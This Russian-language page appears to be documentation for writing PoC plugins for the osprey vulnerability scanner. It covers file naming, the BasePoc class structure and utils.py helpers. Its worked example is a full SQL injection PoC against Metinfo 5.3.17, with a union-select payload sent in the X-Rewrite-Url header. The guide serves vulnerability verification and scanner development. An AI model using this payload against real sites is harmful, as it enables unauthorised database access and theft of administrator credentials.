Для написания POC на основе osprey следует придерживаться соглашений по формату фреймворка.
Пользователи могут создавать больше POC для расширения возможностей безопасности osprey. В то же время платформа приема POC от компании Vulbox предлагает платную возможность отправки POC для широкой аудитории (белых хакеров, разработчиков, исследователей безопасности, любителей технологий безопасности и т.д.). Приглашаем вас отправить свои POC на платформу приема POC Vulbox.
Osprey разработан с использованием Python3, поэтому скрипты POC также должны использовать py3.
Имя файла состоит из VID и английского описания. VID имеет формат "vb_year_xxxx", английское описание должно следовать правилу camelCase, используя "_" для разделения. Описание должно максимально точно отражать компонент, версию, путь и тип уязвимости.
Так как osprey вызывает POC-скрипт через параметр --v, имя файла должно корректно содержать VID и быть уникальным.
Пример названия файла: vb_2017_0060_Metinfo_5_3_17_X_Rewrite_url_Sql_Injection.py
from BasePoc import BasePoc # импорт базового класса BasePoc, который является обязательным для всех POC-скриптов
from utils import tree, highlight, req # импорт некоторых часто используемых функций из модуля utils
from urllib.parse import urljoin # импорт других необходимых модулей
```POC_NAME = "MetinfoXRewriteurlSQLInjection" # name of the class POC that will be used by osprey to create an instance of the class
class MetinfoXRewriteurlSQLInjection(BasePoc):
# Class implementation of POC which should inherit from BasePoc
# Filling in basic information in three dictionaries: poc_info, scan_info, test_case```python
poc_info = {
'poc': {
'Id': 'vb_2017_0060', # ID POC
'vbid': '',
'Name': 'Metinfo 5.3.17 X-Rewrite-url SQL Injection', # название POC
'Author': 'ice.liao', # автор POC
'Create_date': '2017-08-15', # дата создания POC
},
``````markdown
'vul': {
'Product': 'Metinfo', # Название продукта, в котором найдена уязвимость
'Version': '5.3.17', # Версия продукта
'Type': 'SQL-Injection', # Тип уязвимости
'Severity': 'критический', # Уровень опасности уязвимости low/medium/high/critical
'isWeb' : True, # Является ли это web-уязвимостью
'Description': '''
MetInfo — это система управления контентом (CMS), созданная компанией 米拓信息技术有限公司 из Чжучжоу, Китай, использующая PHP и MySQL.
Вред: Информация базы данных сайта может быть украдена, а пароль администратора может быть получен удалённым злоумышленником.
Совет по исправлению: Перейдите на http://www.metinfo.cn/download/, чтобы скачать последнюю версию.
''', # Краткое описание уязвимости
'DisclosureDate': '2017-08-11', # Дата публикации PoC
}
}
``` # scan_info информацию можно оставить по умолчанию, параметры такие как target/mode/verbose могут быть установлены через командные строки в osprey
scan_info = {
'Target': '', # Целевой домен сайта
'Mode': 'verify', # verify или exploit
'Verbose': True, # Выводить ли подробную информацию
'Error': '', # Информация для записи при неудачной проверке
'Success': False, # Найдено ли уязвимость, если да, то обновите это значение до True
'risk_category': 'sec_vul',
'Ret': tree(), # Может использоваться для записи дополнительной информации
} test_case = {
'Need_fb': False,
'Vuln': [], # Список тестовых URL для найденных уязвимостей
'Not_vuln': [], # Аналогично
}
def verify(self, first=False):
# Метод верификации уязвимости (mode=verify)
target = self.scan_info.get("Target", "") # Получение целевого адреса
verbose = self.scan_info.get("Verbose", False) # Выводить ли подробную информацию
# Логика проверки PoC
url = urljoin(target, 'index.php?lang=Cn&index=1')
payload = "1/2/zxxza' union select 1,2,3,md5(0x11),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29#/index.php"
headers = {
"X-Rewrite-Url": payload
}
location = ""
# Используется req для отправки HTTP запросов и получения ответов, req - это функция TCC фреймворка, которая упаковывает методы HTTP requests в единую функцию req(url, method, **kwargs), параметры передаются так же как в requests
resp = req(url, 'get', headers=headers, allow_redirects=False)
if resp is not None:
location = resp.headers.get("Location", "")
if "47ed733b8d10be225eceba344d533586" in location:
self.scan_info['Success'] = True # Уязвимость найдена, обязательно установите это поле до True (обязательно)
self.scan_info['Ret']['VerifyInfo']['URL'] = url # Запись дополнительной информации о найденной уязвимости (необязательно)
self.scan_info['Ret']['VerifyInfo']['DATA'] = "X-Rewrite-Url:" + payload
if verbose:
highlight('[*] Metinfo 5.3.17 X-Rewrite-url SQL Injection found') # Вызов highlight для вывода информации о найденной уязвимости, другие доступные методы включают info(), warn(), error(), highlight() def exploit(self, first=False):
# Метод эксплуатации уязвимости (mode=verify)
self.verify(first=first)
При создании PoC скриптов рекомендуется использовать стандартные библиотеки, но также можно применять сторонние модули. Кроме использования сторонних модулей и самостоятельного написания функций, фреймворк Osprey предоставляет файл utils.py
, который служит как библиотека часто используемых функций. Это позволяет избежать необходимости самостоятельно реализовывать общие функциональности.
from utils import *
tree() # Создает дерево, пример использования:
test = tree()
test["A"]["B"] = "1"
test["A"] # {'B': '1'}
test["A"]["B"] # '1'
now() # Возвращает текущее время в формате: "YYYY-MM-DD HH:MM:SS,MS", где MS — миллисекунды
is_same_domain(url1, url2) # Определяет, являются ли два URL одного домена, не учитывая различия в портах или протоколах
get_absolute_url(base, url) # Получает абсолютный путь URL
retrieve_url_from_page(p_url, keyword, depth) # Поиск URL с указанным ключевым словом на странице p_url
retrieve_url_from_spider(spider) # Получает URL из файла URL-адресов пауков
normalize_url(url) # Преобразует некорректный URL в http://xxx/
valid_status_code(status_code) # Проверяет HTTP-статус ответа. Возвращает False при статусах 4XX-5XX
target_handler(target, port, payload) # Объединяет URL с портом и нагрузкой, возвращает список
```get_scan_info(scan_info) # Возвращает данные Target и Verbose из scan_info
isIP(target) # Проверяет, является ли входной параметр IP-адресом
get_html(url, **kwargs) # Выполняет GET запрос и получает Response body. Возвращаемое значение имеет тип bytes
url_join(base, url) # Объединяет два пути
info(message) # Выводит сообщение уровня info
warn(message) # Выводит сообщение уровня warn
error(message) # Выводит сообщение уровня error
highlight(message) # Выводит выделенное сообщение
Вы можете оставить комментарий после Вход в систему
Неприемлемый контент может быть отображен здесь и не будет показан на странице. Вы можете проверить и изменить его с помощью соответствующей функции редактирования.
Если вы подтверждаете, что содержание не содержит непристойной лексики/перенаправления на рекламу/насилия/вульгарной порнографии/нарушений/пиратства/ложного/незначительного или незаконного контента, связанного с национальными законами и предписаниями, вы можете нажать «Отправить» для подачи апелляции, и мы обработаем ее как можно скорее.
Опубликовать ( 0 )